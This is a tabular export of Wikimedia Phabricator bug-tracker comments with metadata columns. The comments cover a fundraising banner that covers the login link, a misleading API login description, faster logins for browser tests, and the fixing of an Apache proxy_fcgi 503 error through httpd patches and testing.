+* Uncollapse towards the top rather than the bottom, by covering part of the banner rather than the content and personal tools.",,,1416314211,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-3zvnakisitc6ddoo67vb,task_subcomment,,True,c3,1,True,,,-33,True,1,1,0,0,1,1,1,0,0,0,1,1,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,1
+326723,Can't see or click login button due to fundraising banner,"That part of the banner only appears when a user's cursor is over the banner. It is the most unobtrusive way we've found to present the information which we are legally obliged to display to donors. The alternatives are to always show it, and make the whole banner bigger by default. Or we can add extra space below the banner so that it never covers the log in links, at which point people will complain that we are wasting space. I'm going to close this as WONTFIX, although suggestions for a better way to do it are always welcome.
+
+As for the overall size, it looks like you're using a browser width of 1024px. Estimates are that only around 6% of users have their browser at or below this size, but I'll see if we can add some media queries to reduce the font-size for them. You also seem to be overriding font settings, which is making the banner appear larger than it would normally.",,,1416313334,,PHID-USER-grgqimagqq3ankitlzm5,False,,,PHID-TASK-3zvnakisitc6ddoo67vb,task_subcomment,,True,c3,1,True,,,-33,True,1,0,0,1,0,1,1,0,1,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,1,1,1,1,0,1,1,1,1,1,1,1,0,0,0,1,0,1,0,0,0,0,1,1,0,1,1,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0
+326717,Can't see or click login button due to fundraising banner,Thanks Nemo! Added info to https://www.mediawiki.org/w/index.php?title=Bug_management%2FHow_to_triage&diff=1241213&oldid=1041070,,,1414415751,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-3zvnakisitc6ddoo67vb,task_subcomment,,True,c3,1,True,,,-36,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+326712,Can't see or click login button due to fundraising banner,"(In reply to Andre Klapper from comment #2)
+> Hmm, what was the URL parameter to enforce showing that banner...
+
+?force=1&banner=$name. Names can be retrieved from the banners associated to active (green) campaigns at [[m:Special:CentralNotice]]. Oh, there's even an ""on-wiki preview"" link now from [[m:Special:CentralNoticeBanners]] and individual banner pages.",,,1413369387,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-3zvnakisitc6ddoo67vb,task_subcomment,,True,c3,1,True,,,-38,True,0,0,0,1,0,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,0,1
+326707,Can't see or click login button due to fundraising banner,"Hmm, what was the URL parameter to enforce showing that banner...",,,1413368730,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-3zvnakisitc6ddoo67vb,task_subcomment,,True,c3,1,True,,,-38,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+326705,Can't see or click login button due to fundraising banner,Please provide browser information for such rendering issues...,,,1413283668,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-3zvnakisitc6ddoo67vb,task_subcomment,,True,c3,1,True,,,-38,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+73638,API description of login action is misleading,"The help for action=login says
+""Log in and get the authentication tokens. In the event of a successful log-in, a cookie will be attached to your session. ...""
+
+In fact, the first API result contains ONE token, and then if you provide this token and login is successful, you get a sessionid back in the API response, and the HTTP response header sets three cookies:
+  <cookieprefix>UserID
+  <cookieprefix>UserName
+  <cookieprefix>Token, set to the sessionid in the API result
+
+these all expire in a month, none is a session cookie.
+
+A better description for includes/api/ApiLogin.php might be
+
+  Log in and get sessionid and browser cookies.
+  A successful login returns a session ID and its HTTP response header sets wiki cookies identifying the user.
+  ...
+
+Even this might vary with wiki configuration.
+
+--------------------------
+**Version**: unspecified
+**Severity**: trivial",Low,25.0,1412401740,1413900164.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,,False,PHID-TASK-emiayc7dr5vu2ovs6mla,task_description,resolved,True,c3,1,False,False,True,-39,True,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,1,1,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,1,0,1
+322153,API description of login action is misleading,"**gerritadmin** wrote:
+
+Change 162960 merged by jenkins-bot:
+API: Internationalize all remaining core API modules
+
+https://gerrit.wikimedia.org/r/162960",,,1413841282,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-emiayc7dr5vu2ovs6mla,task_subcomment,,True,c3,1,False,,,-37,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+322148,API description of login action is misleading,"**gerritadmin** wrote:
+
+Change 162960 had a related patch set uploaded by Anomie:
+API: Internationalize all remaining core API modules
+
+https://gerrit.wikimedia.org/r/162960",,,1412608784,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-emiayc7dr5vu2ovs6mla,task_subcomment,,True,c3,1,False,,,-39,True,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+322143,API description of login action is misleading,"It's not like the client can reliably do anything useful with the returned session ID, since $wgSessionName isn't indicated and CentralAuth changes things too. It's probably better to just say that the needed cookies are returned in the HTTP response and leave details for https://www.mediawiki.org/wiki/API:Login.",,,1412608671,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-emiayc7dr5vu2ovs6mla,task_subcomment,,True,c3,1,True,,,-39,True,0,1,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,1,0,0
+73635,"QA: implement ""login to <PAGE>"" to speed up browser tests","Many tests follow ""I am logged in"" with ""visit FlowPage"", ""I navigate to Upload Wizard"", ""I visit the User page of Selenium_user2"", etc.  In these cases Special:UserLogin's default behavior of loading the Main_Page upon successful login is a waste of precious time.
+
+MediaWiki has already solved this for human beings. Clients can pass ?returnto=Some_wiki_page to Special:UserLogin so that upon successful login the user is redirected to Some_wiki_page.  It's what the _Log in_ link on every wiki page does, as you can see if you hover over it and note its URL.
+
+For example, http://en.wikipedia.beta.wmflabs.org/wiki/Special:UserLogin?returnto=Talk:Flow_QA
+
+We could expose this as
+   Given I am logged in to <PAGE>
+in tests.  mediawiki_selenium/step_definitions/login_steps.rb would need to recognize the presence of this optional parameter and append ?returnto=URLEncode(pageName) to LoginPage
+
+I would prototype this but I don't know where the visit() function is defined or documented in our webdriver-selenium-watir-cheezy-cucumber stack.
+
+Is using 
+  on(APIPage).client.log_in(ENV[""MEDIAWIKI_USER""], ENV[""MEDIAWIKI_PASSWORD""])
+another alternative?
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1412399160,1446481439.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,PHID-USER-fz7hkyvt4jypl76ieyol,False,PHID-TASK-bbslpslr34ubdiik5vii,task_description,resolved,True,c3,1,False,False,False,-39,True,1,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+556461,"QA: implement ""login to <PAGE>"" to speed up browser tests","Browser tests can now log in via the API, making it really fast. Please reopen the task if there is something else left to do here.",,,1446481439,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-bbslpslr34ubdiik5vii,task_subcomment,,True,c3,3,True,,,17,True,0,1,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+322028,"QA: implement ""login to <PAGE>"" to speed up browser tests","(In reply to spage from comment #1)
+> (In reply to spage from comment #0)
+> > Is using 
+> >   on(APIPage).client.log_in(ENV[""MEDIAWIKI_USER""], ENV[""MEDIAWIKI_PASSWORD""])
+> > another alternative?
+> 
+> This doesn't work.  The mediawiki_api module issues its own HTTP requests
+> from Ruby. So the cookies it gets back aren't set in the browser under test,
+> it only uses them in subsequent API calls. You'd have to tell the browser to
+> make the API POST, or ""push"" the cookies from the API response into the
+> WebDriver session.
+
+Passing the cookies over from an API call is an interesting idea, assuming API sessions work in the same way interactive ones do. Of course, this should only be using in setup context (i.e. `Given`) but it would greatly reduce the overhead and fragility of tests that assume a logged-in state.",,,1412631418,,PHID-USER-7bifphmxtcqgvdofuzla,False,,,PHID-TASK-bbslpslr34ubdiik5vii,task_subcomment,,True,c3,1,True,,,-39,True,0,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1
+322021,"QA: implement ""login to <PAGE>"" to speed up browser tests","(In reply to spage from comment #0)
+> Is using 
+>   on(APIPage).client.log_in(ENV[""MEDIAWIKI_USER""], ENV[""MEDIAWIKI_PASSWORD""])
+> another alternative?
+
+This doesn't work.  The mediawiki_api module issues its own HTTP requests from Ruby. So the cookies it gets back aren't set in the browser under test, it only uses them in subsequent API calls. You'd have to tell the browser to make the API POST, or ""push"" the cookies from the API response into the WebDriver session.",,,1412402678,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-bbslpslr34ubdiik5vii,task_subcomment,,True,c3,1,False,,,-39,True,0,0,0,0,1,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,0,0,1,1,0,0,1
+73487,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","Seeing a flood of these errors in fluorine:/a/mw-log/apache2.log:
+
+Sep 30 22:24:17 mw1018:  [proxy_fcgi:error] [pid 12557] [client 10.64.0.103:5054] AH01070: Error parsing script headers, referer: https://es.wikipedia.org/wiki/Estadio_Coloso_del_Ruca_Quimey
+
+Sep 30 22:24:16 mw1019:  [proxy_fcgi:error] [pid 30172] [client 10.64.0.105:52919] AH01068: Got bogus version 1, referer: https://commons.wikimedia.org/wiki/File:Bibliotheque_de_Toulouse_-_Pic_d-Aneto_(pd).jpg
+Sep 30 22:24:16 mw1019:  [proxy_fcgi:error] [pid 30172] (22)Invalid argument: [client 10.64.0.105:52919] AH01075: Error dispatching request to :, referer: https://commons.wikimedia.org/wiki/File:Bibliotheque_de_Toulouse_-_Pic_d-Aneto_(pd).jpg
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Low,25.0,1412116380,1472221377.0,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,PHID-USER-a6yycs7vaq2biua4pudd,False,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_description,resolved,True,c3,1,True,False,False,-40,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+749482,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)",Based on https://logstash.wikimedia.org/app/kibana#/dashboard/apache2log the errors are gone :] Well done @elukey and others!,,,1477415244,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,68,True,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,1
+749354,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","Change 306943 merged by Elukey:
+logstash: Stop dropping mod_proxy_fcgi warnings
+
+[[https://gerrit.wikimedia.org/r/306943]]",,,1477404572,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,False,,,68,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+718220,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)",As FYI we'll be able to merge the above patch only when https://phabricator.wikimedia.org/T143536 will be completed! ,,,1472227109,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,60,True,0,0,0,1,0,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0
+718213,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","Change 306943 had a related patch set uploaded (by BryanDavis):
+logstash: Stop dropping mod_proxy_fcgi warnings
+
+[[https://gerrit.wikimedia.org/r/306943]]
+",,,1472226241,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,False,,,60,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+718039,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","Congratulations !
+
+Might want a low priority task to later remove the logstash filter:
+```
+name=files/logstash/filter-syslog.conf, lang=ruby
+if [message] =~ /AH01075: Error dispatching request to :/ {
+   drop {}
+}
+```",,,1472211064,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,60,True,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1
+717970,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","Summary and news:
+
+1) Thanks to @Joe and @MoritzMuehlenhoff we have a new version of httpd for jessie-wikimedia (2.4.10-10+deb8u6+wmf2) that is based on the latest Debian upstream package version.
+2) All the jessie based appservers have the new patched httpd, meanwhile we decided not to work on the Ubuntu package to avoid major headaches. 
+3) The HTTP 304 patch that we proposed to upstream has been merged to the 2.4.x branch and will be part of the next httpd release.
+
+The issue will be completely resolved when all the appservers will be migrated to Jessie. I'd say that this phab task can be closed now.",,,1472201538,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,60,True,1,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,0,0,0,1,1
+709226,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVZ05ejEpirJUPGy-uaq} [2016-08-10T14:40:39Z] <elukey> depooling mw1261 to install/test apache2_2.4.10-10+deb8u6+wmf1_amd64.deb (T73487). After basic checks the host will get back into service with weight 5.",,,1470840040,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,False,,,57,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+706585,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVZZ-fmwpirJUPGy-soF} [2016-08-05T09:12:49Z] <elukey> upgrading httpd on mw126[78] to 2.4.10-10+deb8u4+wmf3 (T73487)",,,1470388370,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,False,,,57,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+705649,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVZVHRCnaH8PnNb4Dsa3} [2016-08-04T10:33:03Z] <elukey> upgrading httpd on mw126[56] to 2.4.10-10+deb8u4+wmf3 (T73487)",,,1470306784,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,False,,,57,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+704922,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","After a long chat with upstream we decided not to go ahead with this patch since it wouldn't give us a lot of benefit plus it wouldn't respect a lot the FCGI protocol. 
+
+Some gotchas for whoever is interested:
+
+1) The FCGI script/backend (in our case HHVM) follows the FCGI protocol and it should always send a FCGI End of Request header. httpd should wait for it even if in some cases (like 304s) the connection could theoretically be dropped beforehand. Adding shortcuts for performance improvements might not be the best thing in the longer term because it could introduce too much variability. 
+
+2) I observed the delay between headers and end of request only with telnet, not with curl or other tools, so I got fooled by it. Bad Luca is bad.
+
+3) mod_proxy_fcgi sends and EOS (end of stream) bucket (basically either bytes or metadata grouped) right after it has seen the FCGI end of request, so the client will not wait for httpd to finish its internal stuff. The httpd thread will be blocked of course and there are some suggestions in the httpd dev mailing list about how to improve the waiting time after the FCGI end of Request header, but they would rely on other big changes in trunk. A bit overkill for us, might be something for the future if we see performance issues with this version of httpd (I don't expect anything like this though).
+
+Summary: let's go ahead with the deployment of the current package :)",,,1470219091,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,56,True,1,1,0,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,1
+704851,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","{nav icon=file, name=Mentioned in SAL, href=https://tools.wmflabs.org/sal/log/AVZPhv55aH8PnNb4Drwu} [2016-08-03T08:31:02Z] <elukey> upgrading httpd on mw126[34] to 2.4.10-10+deb8u4+wmf3 (T73487)",,,1470213104,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,False,,,56,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+703530,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)",">>! In T73487#2510990, @elukey wrote:
+> So the new version of httpd seems working as it should but there might be the chance to improve even more if:
+> * (preferred) httpd would be able to avoid waiting for the whole body from HHVM before terminating the HTTP response. 
+
+For example:
+
+```
+                                else if (status == HTTP_NOT_MODIFIED) {
+                                    /* A 304 response MUST NOT contain
+                                     * a message-body, so we must ignore it but
+                                     * some extra steps need to be taken to
+                                     * avoid inconsistencies.
+                                     * The break is not added with connection
+                                     * reuse set since there might be more bytes
+                                     * to read like the message-body, that would 
+                                     * trigger subsequent bogus reads (for example
+                                     * the start of the message-body
+                                     * interpreted as a FCGI header).
+                                     * With connection reuse disabled (default)
+                                     * we can safely break and force the end
+                                     * of the FCGI processing phase since the
+                                     * connection will be cleaned up later on. */
+                                    ignore_body = 1;
+                                    if (conn->close) {
+                                        done = 1;
+                                        break;
+                                    }
+                                }
+```
+
+I am going to follow up with upstream to see if this change is worth or not. I did some testing this morning with and without connection reuse (httpd-trunk) and it seems working fine. 
+",,,1470052767,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,56,True,1,0,0,1,1,1,1,0,0,1,1,0,0,0,1,1,1,1,1,0,1,1,1,0,1,1,0,1,1,1,0,1,1,1,1,0,1,0,1,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,1
+703447,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","Checked if a 304 response would return the body with the new httpd version:
+
+```
+elukey@mw1261:~$ telnet localhost 80
+Trying ::1...
+Connected to localhost.
+Escape character is '^]'.
+GET /w/index.php?title=MediaWiki:Gadget-ImageAnnotator.js&action=raw&ctype=text/javascript HTTP/1.1
+Host: commons.wikimedia.org
+If-Modified-Since: Tue, 25 Aug 2015 15:19:10 GMT
+
+HTTP/1.1 304 Not Modified
+Date: Mon, 01 Aug 2016 07:34:46 GMT
+Server: mw1261.eqiad.wmnet
+Cache-control: public, s-maxage=300, max-age=1209600
+Vary: Accept-Encoding,Cookie,Authorization
+
+Connection closed by foreign host.
+```
+
+The body is not returned anymore but telnet seems to wait a bit after the headers have been returned. I suspect that this behavior might be related to one of the patches added that forces httpd to read the whole content of the response returned by HHVM before giving up, even if it will discard it right afterwards. This avoids subsequent spurious reads (mod_proxy_fcgi reading from HHVM) that turns into 503 and bogus logging. 
+
+So the new version of httpd seems working as it should but there might be the chance to improve even more if:
+* (preferred) httpd would be able to avoid waiting for the whole body from HHVM before terminating the HTTP response. 
+* HHVM would be able to return a 304 itself rather than the whole content with a Last-Modified header and related.
+
+At the moment the Jessie version of httpd returns 304s with payload so the new behavior will not add any latency to these calls, but will avoid to send unnecessary bytes.
+",,,1470040122,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-ib5qwqzcjbmryl5fhasc,task_subcomment,,True,c3,3,True,,,56,True,1,0,0,1,1,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,1,1,1,1,1,0,0,0,1,1,1,1,1,1,1,0,1,0,0,1,0,0,1,1,0,1,0,0,1,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+703423,"Fix Apache proxy_fcgi error ""Invalid argument: AH01075: Error dispatching request to"" (Causing HTTP 503)","Checked if a 304 response would return the body with the new httpd version:
+
+```
+elukey@mw1261:~$ telnet localhost 80
+Trying ::1...
+Connected to localhost.
+Escape character is '^]'.
+GET /w/index.php?title=MediaWiki:Gadget-ImageAnnotator.js&action=raw&ctype=text/javascript HTTP/1.1
+Host: commons.wikimedia.org
+If-Modified-Since: Tue, 25 Aug 2015 15:19:10 GMT
+
+HTTP/1.1 304 Not Modified
+Date: Mon, 01 Aug 2016 07:34:46 GMT
+Server: mw1261.eqiad.wmnet
+Cache-control: public, s-maxage=300, max-age=1209600
+Vary: Accept-Encoding,Cookie,Authorization
+
+Connection closed by foreign host.
+```
+
+The body is not returned anymore but telnet seems to wait a bit after the headers have been returned. I suspect that this behavior might be related to one of the patches added that forces httpd to read the whole content of the response returned by HHVM before giving up, even if it will discard it right afterwards. This avoids subsequent spurious reads (mod_proxy_fcgi reading from HHVM) that turns into 503 and bogus logging. 
+
+So the new version of httpd seems working as it should but there might be the chance to improve even more if HHVM would be able to return a 304 itself rather than the whole content with a Last-Modified header and related  .
+
